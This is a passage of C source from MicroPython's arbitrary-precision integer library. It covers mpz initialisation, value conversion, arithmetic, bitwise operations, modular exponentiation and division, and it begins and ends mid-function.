0;\n            }\n\n            // adjust quotient if it is too big\n            for (; borrow != 0; --quo) {\n                d = den_dig;\n                d_norm = 0;\n                mpz_dbl_dig_t carry = 0;\n                for (mpz_dig_t *n = num_dig - den_len; n < num_dig; ++n, ++d) {\n                    d_norm = ((mpz_dbl_dig_t)*d << norm_shift) | (d_norm >> DIG_SIZE);\n                    carry += (mpz_dbl_dig_t)*n + (d_norm & DIG_MASK);\n                    *n = carry & DIG_MASK;\n                    carry >>= DIG_SIZE;\n                }\n                carry += (mpz_dbl_dig_t)*num_dig;\n                *num_dig = carry & DIG_MASK;\n                carry >>= DIG_SIZE;\n\n                //assert(borrow >= carry); // enable this to check the logic\n                borrow -= carry;\n            }\n        }\n\n        // store this digit of the quotient\n        *quo_dig = quo & DIG_MASK;\n        --quo_dig;\n\n        // move down to next digit of numerator\n        --num_dig;\n        --(*num_len);\n    }\n\n    // unnormalise numerator (remainder now)\n    for (mpz_dig_t *num = orig_num_dig + *num_len - 1, carry = 0; num >= orig_num_dig; --num) {\n        mpz_dig_t n = *num;\n        *num = ((n >> norm_shift) | carry) & DIG_MASK;\n        carry = (mpz_dbl_dig_t)n << (DIG_SIZE - norm_shift);\n    }\n\n    // strip trailing zeros\n\n    while (*quo_len > 0 && orig_quo_dig[*quo_len - 1] == 0) {\n        --(*quo_len);\n    }\n\n    while (*num_len > 0 && orig_num_dig[*num_len - 1] == 0) {\n        --(*num_len);\n    }\n}\n\n#define MIN_ALLOC (2)\n\nvoid mpz_init_zero(mpz_t *z) {\n    z->neg = 0;\n    z->fixed_dig = 0;\n    z->alloc = 0;\n    z->len = 0;\n    z->dig = NULL;\n}\n\nvoid mpz_init_from_int(mpz_t *z, mp_int_t val) {\n    mpz_init_zero(z);\n    mpz_set_from_int(z, val);\n}\n\nvoid mpz_init_fixed_from_int(mpz_t *z, mpz_dig_t *dig, size_t alloc, mp_int_t val) {\n    z->neg = 0;\n    z->fixed_dig = 1;\n    z->alloc = alloc;\n    z->len = 0;\n    z->dig = dig;\n    mpz_set_from_int(z, val);\n}\n\nvoid mpz_deinit(mpz_t *z) {\n    if (z != NULL && !z->fixed_dig) {\n        m_del(mpz_dig_t, z->dig, z->alloc);\n    }\n}\n\n#if 0\nthese functions are unused\n\nmpz_t *mpz_zero(void) {\n    mpz_t *z = m_new_obj(mpz_t);\n    mpz_init_zero(z);\n    return z;\n}\n\nmpz_t *mpz_from_int(mp_int_t val) {\n    mpz_t *z = mpz_zero();\n    mpz_set_from_int(z, val);\n    return z;\n}\n\nmpz_t *mpz_from_ll(long long val, bool is_signed) {\n    mpz_t *z = mpz_zero();\n    mpz_set_from_ll(z, val, is_signed);\n    return z;\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nmpz_t *mpz_from_float(mp_float_t val) {\n    mpz_t *z = mpz_zero();\n    mpz_set_from_float(z, val);\n    return z;\n}\n#endif\n\nmpz_t *mpz_from_str(const char *str, size_t len, bool neg, unsigned int base) {\n    mpz_t *z = mpz_zero();\n    mpz_set_from_str(z, str, len, neg, base);\n    return z;\n}\n#endif\n\nSTATIC void mpz_free(mpz_t *z) {\n    if (z != NULL) {\n        m_del(mpz_dig_t, z->dig, z->alloc);\n        m_del_obj(mpz_t, z);\n    }\n}\n\nSTATIC void mpz_need_dig(mpz_t *z, size_t need) {\n    if (need < MIN_ALLOC) {\n        need = MIN_ALLOC;\n    }\n\n    if (z->dig == NULL || z->alloc < need) {\n        // if z has fixed digit buffer there's not much we can do as the caller will\n        // be expecting a buffer with at least \"need\" bytes (but it shouldn't happen)\n        assert(!z->fixed_dig);\n        z->dig = m_renew(mpz_dig_t, z->dig, z->alloc, need);\n        z->alloc = need;\n    }\n}\n\nSTATIC mpz_t *mpz_clone(const mpz_t *src) {\n    mpz_t *z = m_new_obj(mpz_t);\n    z->neg = src->neg;\n    z->fixed_dig = 0;\n    z->alloc = src->alloc;\n    z->len = src->len;\n    if (src->dig == NULL) {\n        z->dig = NULL;\n    } else {\n        z->dig = m_new(mpz_dig_t, z->alloc);\n        memcpy(z->dig, src->dig, src->alloc * sizeof(mpz_dig_t));\n    }\n    return z;\n}\n\n/* sets dest = src\n   can have dest, src the same\n*/\nvoid mpz_set(mpz_t *dest, const mpz_t *src) {\n    mpz_need_dig(dest, src->len);\n    dest->neg = src->neg;\n    dest->len = src->len;\n    memcpy(dest->dig, src->dig, src->len * sizeof(mpz_dig_t));\n}\n\nvoid mpz_set_from_int(mpz_t *z, mp_int_t val) {\n    if (val == 0) {\n        z->len = 0;\n        return;\n    }\n\n    mpz_need_dig(z, MPZ_NUM_DIG_FOR_INT);\n\n    mp_uint_t uval;\n    if (val < 0) {\n        z->neg = 1;\n        uval = -val;\n    } else {\n        z->neg = 0;\n        uval = val;\n    }\n\n    z->len = 0;\n    while (uval > 0) {\n        z->dig[z->len++] = uval & DIG_MASK;\n        uval >>= DIG_SIZE;\n    }\n}\n\nvoid mpz_set_from_ll(mpz_t *z, long long val, bool is_signed) {\n    mpz_need_dig(z, MPZ_NUM_DIG_FOR_LL);\n\n    unsigned long long uval;\n    if (is_signed && val < 0) {\n        z->neg = 1;\n        uval = -val;\n    } else {\n        z->neg = 0;\n        uval = val;\n    }\n\n    z->len = 0;\n    while (uval > 0) {\n        z->dig[z->len++] = uval & DIG_MASK;\n        uval >>= DIG_SIZE;\n    }\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nvoid mpz_set_from_float(mpz_t *z, mp_float_t src) {\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\ntypedef uint64_t mp_float_int_t;\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\ntypedef uint32_t mp_float_int_t;\n#endif\n    union {\n        mp_float_t f;\n        #if MP_ENDIANNESS_LITTLE\n        struct { mp_float_int_t frc:MP_FLOAT_FRAC_BITS, exp:MP_FLOAT_EXP_BITS, sgn:1; } p;\n        #else\n        struct { mp_float_int_t sgn:1, exp:MP_FLOAT_EXP_BITS, frc:MP_FLOAT_FRAC_BITS; } p;\n        #endif\n    } u = {src};\n\n    z->neg = u.p.sgn;\n    if (u.p.exp == 0) {\n        // value == 0 || value < 1\n        mpz_set_from_int(z, 0);\n    } else if (u.p.exp == ((1 << MP_FLOAT_EXP_BITS) - 1)) {\n        // u.p.frc == 0 indicates inf, else NaN\n        // should be handled by caller\n        mpz_set_from_int(z, 0);\n    } else {\n        const int adj_exp = (int)u.p.exp - MP_FLOAT_EXP_BIAS;\n        if (adj_exp < 0) {\n            // value < 1 , truncates to 0\n            mpz_set_from_int(z, 0);\n        } else if (adj_exp == 0) {\n            // 1 <= value < 2 , so truncates to 1\n            mpz_set_from_int(z, 1);\n        } else {\n            // 2 <= value\n            const int dig_cnt = (adj_exp + 1 + (DIG_SIZE - 1)) / DIG_SIZE;\n            const unsigned int rem = adj_exp % DIG_SIZE;\n            int dig_ind, shft;\n            mp_float_int_t frc = u.p.frc | ((mp_float_int_t)1 << MP_FLOAT_FRAC_BITS);\n\n            if (adj_exp < MP_FLOAT_FRAC_BITS) {\n                shft = 0;\n                dig_ind = 0;\n                frc >>= MP_FLOAT_FRAC_BITS - adj_exp;\n            } else {\n                shft = (rem - MP_FLOAT_FRAC_BITS) % DIG_SIZE;\n                dig_ind = (adj_exp - MP_FLOAT_FRAC_BITS) / DIG_SIZE;\n            }\n            mpz_need_dig(z, dig_cnt);\n            z->len = dig_cnt;\n            if (dig_ind != 0) {\n                memset(z->dig, 0, dig_ind * sizeof(mpz_dig_t));\n            }\n            if (shft != 0) {\n                z->dig[dig_ind++] = (frc << shft) & DIG_MASK;\n                frc >>= DIG_SIZE - shft;\n            }\n#if DIG_SIZE < (MP_FLOAT_FRAC_BITS + 1)\n            while (dig_ind != dig_cnt) {\n                z->dig[dig_ind++] = frc & DIG_MASK;\n                frc >>= DIG_SIZE;\n            }\n#else\n            if (dig_ind != dig_cnt) {\n                z->dig[dig_ind] = frc;\n            }\n#endif\n        }\n    }\n}\n#endif\n\n// returns number of bytes from str that were processed\nsize_t mpz_set_from_str(mpz_t *z, const char *str, size_t len, bool neg, unsigned int base) {\n    assert(base <= 36);\n\n    const char *cur = str;\n    const char *top = str + len;\n\n    mpz_need_dig(z, len * 8 / DIG_SIZE + 1);\n\n    if (neg) {\n        z->neg = 1;\n    } else {\n        z->neg = 0;\n    }\n\n    z->len = 0;\n    for (; cur < top; ++cur) { // XXX UTF8 next char\n        //mp_uint_t v = char_to_numeric(cur#); // XXX UTF8 get char\n        mp_uint_t v = *cur;\n        if ('0' <= v && v <= '9') {\n            v -= '0';\n        } else if ('A' <= v && v <= 'Z') {\n            v -= 'A' - 10;\n        } else if ('a' <= v && v <= 'z') {\n            v -= 'a' - 10;\n        } else {\n            break;\n        }\n        if (v >= base) {\n            break;\n        }\n        z->len = mpn_mul_dig_add_dig(z->dig, z->len, base, v);\n    }\n\n    return cur - str;\n}\n\nvoid mpz_set_from_bytes(mpz_t *z, bool big_endian, size_t len, const byte *buf) {\n    int delta = 1;\n    if (big_endian) {\n        buf += len - 1;\n        delta = -1;\n    }\n\n    mpz_need_dig(z, (len * 8 + DIG_SIZE - 1) / DIG_SIZE);\n\n    mpz_dig_t d = 0;\n    int num_bits = 0;\n    z->neg = 0;\n    z->len = 0;\n    while (len) {\n        while (len && num_bits < DIG_SIZE) {\n            d |= *buf << num_bits;\n            num_bits += 8;\n            buf += delta;\n            len--;\n        }\n        z->dig[z->len++] = d & DIG_MASK;\n        // Need this #if because it's C undefined behavior to do: uint32_t >> 32\n        #if DIG_SIZE != 8 && DIG_SIZE != 16 && DIG_SIZE != 32\n        d >>= DIG_SIZE;\n        #else\n        d = 0;\n        #endif\n        num_bits -= DIG_SIZE;\n    }\n\n    z->len = mpn_remove_trailing_zeros(z->dig, z->dig + z->len);\n}\n\n#if 0\nthese functions are unused\n\nbool mpz_is_pos(const mpz_t *z) {\n    return z->len > 0 && z->neg == 0;\n}\n\nbool mpz_is_odd(const mpz_t *z) {\n    return z->len > 0 && (z->dig[0] & 1) != 0;\n}\n\nbool mpz_is_even(const mpz_t *z) {\n    return z->len == 0 || (z->dig[0] & 1) == 0;\n}\n#endif\n\nint mpz_cmp(const mpz_t *z1, const mpz_t *z2) {\n    // to catch comparison of -0 with +0\n    if (z1->len == 0 && z2->len == 0) {\n        return 0;\n    }\n    int cmp = (int)z2->neg - (int)z1->neg;\n    if (cmp != 0) {\n        return cmp;\n    }\n    cmp = mpn_cmp(z1->dig, z1->len, z2->dig, z2->len);\n    if (z1->neg != 0) {\n        cmp = -cmp;\n    }\n    return cmp;\n}\n\n#if 0\n// obsolete\n// compares mpz with an integer that fits within DIG_SIZE bits\nmp_int_t mpz_cmp_sml_int(const mpz_t *z, mp_int_t sml_int) {\n    mp_int_t cmp;\n    if (z->neg == 0) {\n        if (sml_int < 0) return 1;\n        if (sml_int == 0) {\n            if (z->len == 0) return 0;\n            return 1;\n        }\n        if (z->len == 0) return -1;\n        assert(sml_int < (1 << DIG_SIZE));\n        if (z->len != 1) return 1;\n        cmp = z->dig[0] - sml_int;\n    } else {\n        if (sml_int > 0) return -1;\n        if (sml_int == 0) {\n            if (z->len == 0) return 0;\n            return -1;\n        }\n        if (z->len == 0) return 1;\n        assert(sml_int > -(1 << DIG_SIZE));\n        if (z->len != 1) return -1;\n        cmp = -z->dig[0] - sml_int;\n    }\n    if (cmp < 0) return -1;\n    if (cmp > 0) return 1;\n    return 0;\n}\n#endif\n\n#if 0\nthese functions are unused\n\n/* returns abs(z)\n*/\nmpz_t *mpz_abs(const mpz_t *z) {\n    mpz_t *z2 = mpz_clone(z);\n    z2->neg = 0;\n    return z2;\n}\n\n/* returns -z\n*/\nmpz_t *mpz_neg(const mpz_t *z) {\n    mpz_t *z2 = mpz_clone(z);\n    z2->neg = 1 - z2->neg;\n    return z2;\n}\n\n/* returns lhs + rhs\n   can have lhs, rhs the same\n*/\nmpz_t *mpz_add(const mpz_t *lhs, const mpz_t *rhs) {\n    mpz_t *z = mpz_zero();\n    mpz_add_inpl(z, lhs, rhs);\n    return z;\n}\n\n/* returns lhs - rhs\n   can have lhs, rhs the same\n*/\nmpz_t *mpz_sub(const mpz_t *lhs, const mpz_t *rhs) {\n    mpz_t *z = mpz_zero();\n    mpz_sub_inpl(z, lhs, rhs);\n    return z;\n}\n\n/* returns lhs * rhs\n   can have lhs, rhs the same\n*/\nmpz_t *mpz_mul(const mpz_t *lhs, const mpz_t *rhs) {\n    mpz_t *z = mpz_zero();\n    mpz_mul_inpl(z, lhs, rhs);\n    return z;\n}\n\n/* returns lhs ** rhs\n   can have lhs, rhs the same\n*/\nmpz_t *mpz_pow(const mpz_t *lhs, const mpz_t *rhs) {\n    mpz_t *z = mpz_zero();\n    mpz_pow_inpl(z, lhs, rhs);\n    return z;\n}\n\n/* computes new integers in quo and rem such that:\n       quo * rhs + rem = lhs\n       0 <= rem < rhs\n   can have lhs, rhs the same\n*/\nvoid mpz_divmod(const mpz_t *lhs, const mpz_t *rhs, mpz_t **quo, mpz_t **rem) {\n    *quo = mpz_zero();\n    *rem = mpz_zero();\n    mpz_divmod_inpl(*quo, *rem, lhs, rhs);\n}\n#endif\n\n/* computes dest = abs(z)\n   can have dest, z the same\n*/\nvoid mpz_abs_inpl(mpz_t *dest, const mpz_t *z) {\n    if (dest != z) {\n        mpz_set(dest, z);\n    }\n    dest->neg = 0;\n}\n\n/* computes dest = -z\n   can have dest, z the same\n*/\nvoid mpz_neg_inpl(mpz_t *dest, const mpz_t *z) {\n    if (dest != z) {\n        mpz_set(dest, z);\n    }\n    dest->neg = 1 - dest->neg;\n}\n\n/* computes dest = ~z (= -z - 1)\n   can have dest, z the same\n*/\nvoid mpz_not_inpl(mpz_t *dest, const mpz_t *z) {\n    if (dest != z) {\n        mpz_set(dest, z);\n    }\n    if (dest->len == 0) {\n        mpz_need_dig(dest, 1);\n        dest->dig[0] = 1;\n        dest->len = 1;\n        dest->neg = 1;\n    } else if (dest->neg) {\n        dest->neg = 0;\n        mpz_dig_t k = 1;\n        dest->len = mpn_sub(dest->dig, dest->dig, dest->len, &k, 1);\n    } else {\n        mpz_need_dig(dest, dest->len + 1);\n        mpz_dig_t k = 1;\n        dest->len = mpn_add(dest->dig, dest->dig, dest->len, &k, 1);\n        dest->neg = 1;\n    }\n}\n\n/* computes dest = lhs << rhs\n   can have dest, lhs the same\n*/\nvoid mpz_shl_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs) {\n    if (lhs->len == 0 || rhs == 0) {\n        mpz_set(dest, lhs);\n    } else {\n        mpz_need_dig(dest, lhs->len + (rhs + DIG_SIZE - 1) / DIG_SIZE);\n        dest->len = mpn_shl(dest->dig, lhs->dig, lhs->len, rhs);\n        dest->neg = lhs->neg;\n    }\n}\n\n/* computes dest = lhs >> rhs\n   can have dest, lhs the same\n*/\nvoid mpz_shr_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs) {\n    if (lhs->len == 0 || rhs == 0) {\n        mpz_set(dest, lhs);\n    } else {\n        mpz_need_dig(dest, lhs->len);\n        dest->len = mpn_shr(dest->dig, lhs->dig, lhs->len, rhs);\n        dest->neg = lhs->neg;\n        if (dest->neg) {\n            // arithmetic shift right, rounding to negative infinity\n            mp_uint_t n_whole = rhs / DIG_SIZE;\n            mp_uint_t n_part = rhs % DIG_SIZE;\n            mpz_dig_t round_up = 0;\n            for (size_t i = 0; i < lhs->len && i < n_whole; i++) {\n                if (lhs->dig[i] != 0) {\n                    round_up = 1;\n                    break;\n                }\n            }\n            if (n_whole < lhs->len && (lhs->dig[n_whole] & ((1 << n_part) - 1)) != 0) {\n                round_up = 1;\n            }\n            if (round_up) {\n                if (dest->len == 0) {\n                    // dest == 0, so need to add 1 by hand (answer will be -1)\n                    dest->dig[0] = 1;\n                    dest->len = 1;\n                } else {\n                    // dest > 0, so can use mpn_add to add 1\n                    dest->len = mpn_add(dest->dig, dest->dig, dest->len, &round_up, 1);\n                }\n            }\n        }\n    }\n}\n\n/* computes dest = lhs + rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_add_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    if (mpn_cmp(lhs->dig, lhs->len, rhs->dig, rhs->len) < 0) {\n        const mpz_t *temp = lhs;\n        lhs = rhs;\n        rhs = temp;\n    }\n\n    if (lhs->neg == rhs->neg) {\n        mpz_need_dig(dest, lhs->len + 1);\n        dest->len = mpn_add(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n    } else {\n        mpz_need_dig(dest, lhs->len);\n        dest->len = mpn_sub(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n    }\n\n    dest->neg = lhs->neg;\n}\n\n/* computes dest = lhs - rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_sub_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    bool neg = false;\n\n    if (mpn_cmp(lhs->dig, lhs->len, rhs->dig, rhs->len) < 0) {\n        const mpz_t *temp = lhs;\n        lhs = rhs;\n        rhs = temp;\n        neg = true;\n    }\n\n    if (lhs->neg != rhs->neg) {\n        mpz_need_dig(dest, lhs->len + 1);\n        dest->len = mpn_add(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n    } else {\n        mpz_need_dig(dest, lhs->len);\n        dest->len = mpn_sub(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n    }\n\n    if (neg) {\n        dest->neg = 1 - lhs->neg;\n    } else {\n        dest->neg = lhs->neg;\n    }\n}\n\n/* computes dest = lhs & rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_and_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    // make sure lhs has the most digits\n    if (lhs->len < rhs->len) {\n        const mpz_t *temp = lhs;\n        lhs = rhs;\n        rhs = temp;\n    }\n\n    #if MICROPY_OPT_MPZ_BITWISE\n\n    if ((0 == lhs->neg) && (0 == rhs->neg)) {\n        mpz_need_dig(dest, lhs->len);\n        dest->len = mpn_and(dest->dig, lhs->dig, rhs->dig, rhs->len);\n        dest->neg = 0;\n    } else {\n        mpz_need_dig(dest, lhs->len + 1);\n        dest->len = mpn_and_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len,\n                                 lhs->neg == rhs->neg, 0 != lhs->neg, 0 != rhs->neg);\n        dest->neg = lhs->neg & rhs->neg;\n    }\n\n    #else\n\n    mpz_need_dig(dest, lhs->len + (lhs->neg || rhs->neg));\n    dest->len = mpn_and_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len,\n                             (lhs->neg == rhs->neg) ? lhs->neg : 0, lhs->neg, rhs->neg);\n    dest->neg = lhs->neg & rhs->neg;\n\n    #endif\n}\n\n/* computes dest = lhs | rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_or_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    // make sure lhs has the most digits\n    if (lhs->len < rhs->len) {\n        const mpz_t *temp = lhs;\n        lhs = rhs;\n        rhs = temp;\n    }\n\n    #if MICROPY_OPT_MPZ_BITWISE\n\n    if ((0 == lhs->neg) && (0 == rhs->neg)) {\n        mpz_need_dig(dest, lhs->len);\n        dest->len = mpn_or(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n        dest->neg = 0;\n    } else {\n        mpz_need_dig(dest, lhs->len + 1);\n        dest->len = mpn_or_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len,\n                                 0 != lhs->neg, 0 != rhs->neg);\n        dest->neg = 1;\n    }\n\n    #else\n\n    mpz_need_dig(dest, lhs->len + (lhs->neg || rhs->neg));\n    dest->len = mpn_or_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len,\n                             (lhs->neg || rhs->neg), lhs->neg, rhs->neg);\n    dest->neg = lhs->neg | rhs->neg;\n\n    #endif\n}\n\n/* computes dest = lhs ^ rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_xor_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    // make sure lhs has the most digits\n    if (lhs->len < rhs->len) {\n        const mpz_t *temp = lhs;\n        lhs = rhs;\n        rhs = temp;\n    }\n\n    #if MICROPY_OPT_MPZ_BITWISE\n\n    if (lhs->neg == rhs->neg) {\n        mpz_need_dig(dest, lhs->len);\n        if (lhs->neg == 0) {\n            dest->len = mpn_xor(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n        } else {\n            dest->len = mpn_xor_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, 0, 0, 0);\n        }\n        dest->neg = 0;\n    } else {\n        mpz_need_dig(dest, lhs->len + 1);\n        dest->len = mpn_xor_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len, 1,\n                                0 == lhs->neg, 0 == rhs->neg);\n        dest->neg = 1;\n    }\n\n    #else\n\n    mpz_need_dig(dest, lhs->len + (lhs->neg || rhs->neg));\n    dest->len = mpn_xor_neg(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len,\n                             (lhs->neg != rhs->neg), 0 == lhs->neg, 0 == rhs->neg);\n    dest->neg = lhs->neg ^ rhs->neg;\n\n    #endif\n}\n\n/* computes dest = lhs * rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_mul_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    if (lhs->len == 0 || rhs->len == 0) {\n        mpz_set_from_int(dest, 0);\n        return;\n    }\n\n    mpz_t *temp = NULL;\n    if (lhs == dest) {\n        lhs = temp = mpz_clone(lhs);\n        if (rhs == dest) {\n            rhs = lhs;\n        }\n    } else if (rhs == dest) {\n        rhs = temp = mpz_clone(rhs);\n    }\n\n    mpz_need_dig(dest, lhs->len + rhs->len); // min mem l+r-1, max mem l+r\n    memset(dest->dig, 0, dest->alloc * sizeof(mpz_dig_t));\n    dest->len = mpn_mul(dest->dig, lhs->dig, lhs->len, rhs->dig, rhs->len);\n\n    if (lhs->neg == rhs->neg) {\n        dest->neg = 0;\n    } else {\n        dest->neg = 1;\n    }\n\n    mpz_free(temp);\n}\n\n/* computes dest = lhs ** rhs\n   can have dest, lhs, rhs the same\n*/\nvoid mpz_pow_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs) {\n    if (lhs->len == 0 || rhs->neg != 0) {\n        mpz_set_from_int(dest, 0);\n        return;\n    }\n\n    if (rhs->len == 0) {\n        mpz_set_from_int(dest, 1);\n        return;\n    }\n\n    mpz_t *x = mpz_clone(lhs);\n    mpz_t *n = mpz_clone(rhs);\n\n    mpz_set_from_int(dest, 1);\n\n    while (n->len > 0) {\n        if ((n->dig[0] & 1) != 0) {\n            mpz_mul_inpl(dest, dest, x);\n        }\n        n->len = mpn_shr(n->dig, n->dig, n->len, 1);\n        if (n->len == 0) {\n            break;\n        }\n        mpz_mul_inpl(x, x, x);\n    }\n\n    mpz_free(x);\n    mpz_free(n);\n}\n\n/* computes dest = (lhs ** rhs) % mod\n   can have dest, lhs, rhs the same; mod can't be the same as dest\n*/\nvoid mpz_pow3_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs, const mpz_t *mod) {\n    if (lhs->len == 0 || rhs->neg != 0) {\n        mpz_set_from_int(dest, 0);\n        return;\n    }\n\n    if (rhs->len == 0) {\n        mpz_set_from_int(dest, 1);\n        return;\n    }\n\n    mpz_t *x = mpz_clone(lhs);\n    mpz_t *n = mpz_clone(rhs);\n    mpz_t quo; mpz_init_zero(&quo);\n\n    mpz_set_from_int(dest, 1);\n\n    while (n->len > 0) {\n        if ((n->dig[0] & 1) != 0) {\n            mpz_mul_inpl(dest, dest, x);\n            mpz_divmod_inpl(&quo, dest, dest, mod);\n        }\n        n->len = mpn_shr(n->dig, n->dig, n->len, 1);\n        if (n->len == 0) {\n            break;\n        }\n        mpz_mul_inpl(x, x, x);\n        mpz_divmod_inpl(&quo, x, x, mod);\n    }\n\n    mpz_deinit(&quo);\n    mpz_free(x);\n    mpz_free(n);\n}\n\n#if 0\nthese functions are unused\n\n/* computes gcd(z1, z2)\n   based on Knuth's modified gcd algorithm (I think?)\n   gcd(z1, z2) >= 0\n   gcd(0, 0) = 0\n   gcd(z, 0) = abs(z)\n*/\nmpz_t *mpz_gcd(const mpz_t *z1, const mpz_t *z2) {\n    if (z1->len == 0) {\n        mpz_t *a = mpz_clone(z2);\n        a->neg = 0;\n        return a;\n    } else if (z2->len == 0) {\n        mpz_t *a = mpz_clone(z1);\n        a->neg = 0;\n        return a;\n    }\n\n    mpz_t *a = mpz_clone(z1);\n    mpz_t *b = mpz_clone(z2);\n    mpz_t c; mpz_init_zero(&c);\n    a->neg = 0;\n    b->neg = 0;\n\n    for (;;) {\n        if (mpz_cmp(a, b) < 0) {\n            if (a->len == 0) {\n                mpz_free(a);\n                mpz_deinit(&c);\n                return b;\n            }\n            mpz_t *t = a; a = b; b = t;\n        }\n        if (!(b->len >= 2 || (b->len == 1 && b->dig[0] > 1))) { // compute b > 0; could be mpz_cmp_small_int(b, 1) > 0\n            break;\n        }\n        mpz_set(&c, b);\n        do {\n            mpz_add_inpl(&c, &c, &c);\n        } while (mpz_cmp(&c, a) <= 0);\n        c.len = mpn_shr(c.dig, c.dig, c.len, 1);\n        mpz_sub_inpl(a, a, &c);\n    }\n\n    mpz_deinit(&c);\n\n    if (b->len == 1 && b->dig[0] == 1) { // compute b == 1; could be mpz_cmp_small_int(b, 1) == 0\n        mpz_free(a);\n        return b;\n    } else {\n        mpz_free(b);\n        return a;\n    }\n}\n\n/* computes lcm(z1, z2)\n     = abs(z1) / gcd(z1, z2) * abs(z2)\n  lcm(z1, z1) >= 0\n  lcm(0, 0) = 0\n  lcm(z, 0) = 0\n*/\nmpz_t *mpz_lcm(const mpz_t *z1, const mpz_t *z2) {\n    if (z1->len == 0 || z2->len == 0) {\n        return mpz_zero();\n    }\n\n    mpz_t *gcd = mpz_gcd(z1, z2);\n    mpz_t *quo = mpz_zero();\n    mpz_t *rem = mpz_zero();\n    mpz_divmod_inpl(quo, rem, z1, gcd);\n    mpz_mul_inpl(rem, quo, z2);\n    mpz_free(gcd);\n    mpz_free(quo);\n    rem->neg = 0;\n    return rem;\n}\n#endif\n\n/* computes new integers in quo and rem such that:\n       quo * rhs + rem = lhs\n       0 <= rem < rhs\n   can have lhs, rhs the same\n   assumes rhs != 0 (undefined behaviour if it is)\n*/\nvoid mpz_divmod_inpl(mpz_t *dest_quo, mpz_t *dest_rem, const mpz_t *lhs, const mpz_t *rhs) {\n    assert(!mpz_is_zero(rhs));\n\n    mpz_need_dig(dest_quo, lhs->len + 1); // +1 necessary?\n    memset(dest_quo->dig, 0, (lhs->len + 1) * sizeof(mpz_dig_t));\n    dest_quo->len = 0;\n    mpz_need_dig(dest_rem, lhs->len + 1); // +1 necessary?\n    mpz_set(dest_rem, lhs);\n    mpn_div(dest_rem->dig, &dest_rem->len, rhs->dig, rhs->len, dest_quo->dig, &dest_quo->len);\n\n    // check signs and do Python style modulo\n    if (lhs->neg != rhs->neg) {\n        dest_quo->neg = 1;\n        if (!mpz_is_zero(dest_rem)) {\n            mpz_t mpzone; mpz_init_from_int(&mpzone, -1);\n            mpz_add_inpl(dest_quo, dest_quo, &mpzone);\n            mpz_add_inpl(dest_rem, dest_rem, rhs);\n        }\n    }\n}\n\n#if 0\nthese functions are unused\n\n/* computes floor(lhs / rhs)\n   can have lhs, rhs the same\n*/\nmpz_t *mpz_div(const mpz_t *lhs, const mpz_t *rhs) {\n    mpz_t *quo = mpz_zero();\n    mpz_t rem; mpz_init_zero(&rem);\n    mpz_divmod_inpl(quo, &rem, lhs, rhs);\n    mpz_deinit(&rem);\n    return quo;\n}\n\n/* computes lhs % rhs ( >= 0)\n   can have lhs, rhs the same\n*/\nmpz_t *mpz_mod(const mpz_t *lhs, const mpz_t *rhs) {\n    mpz_t quo; mpz_init_zero(&quo);\n    mpz_t *rem = mpz_zero();\n    mpz_divmod_inpl(&quo, rem, lhs, rhs);\n    mpz_deinit(&quo);\n    return rem;\n}\n#endif\n\n// must return actual int value if it fits in mp_int_t\nmp_int_t mpz_hash(const mpz_t *z) {\n    mp_int_t val = 0;\n    mpz_dig_t *d = z->dig + z->len;\n\n    while (d-- > z->dig) {\n        val = (val << DIG_SIZE) | *d;\n    }\n\n    if (z->neg != 0) {\n        val = -val;\n    }\n\n    return val;\n}\n\nbool mpz_as_int_checked(const mpz_t *i, mp_int_t *value) {\n    mp_uint_t val = 0;\n    mpz_dig_t *d = i->dig + i->len;\n\n    while (d-- > i->dig) {\n        if (val > (~(WORD_MSBIT_HIGH) >> DIG_SIZE)) {\n            // will overflow\n            return false;\n        }\n        val = (val << DIG_SIZE) | *d;\n    }\n\n    if (i->neg != 0) {\n        val = -val;\n    }\n\n    *value = val;\n    return true;\n}\n\nbool mpz_as_uint_checked(const mpz_t *i, mp_uint_t *value) {\n    if (i->neg != 0) {\n        // can't represent signed values\n        return false;\n    }\n\n    mp_uint_t val = 0;\n    mpz_dig_t *d = i->dig + i->len;\n\n    while (d-- > i->dig) {\n        if (val > (~(WORD_MSBIT_HIGH) >> (DIG_SIZE - 1))) {\n            // will overflow\n            return false;\n        }\n        val = (val << DIG_SIZE) | *d;\n    }\n\n    *value = val;\n    return true;\n}\n\n// writes at most len bytes to buf (so buf should be zeroed before calling)\nvoid mpz_as_bytes(const mpz_t *z, bool big_endian, size_t len, byte *buf) {\n    byte *b = buf;\n    if (big_endian) {\n        b += len;\n    }\n    mpz_dig_t *zdig = z->dig;\n    int bits = 0;\n    mpz_dbl_dig_t d = 0;\n    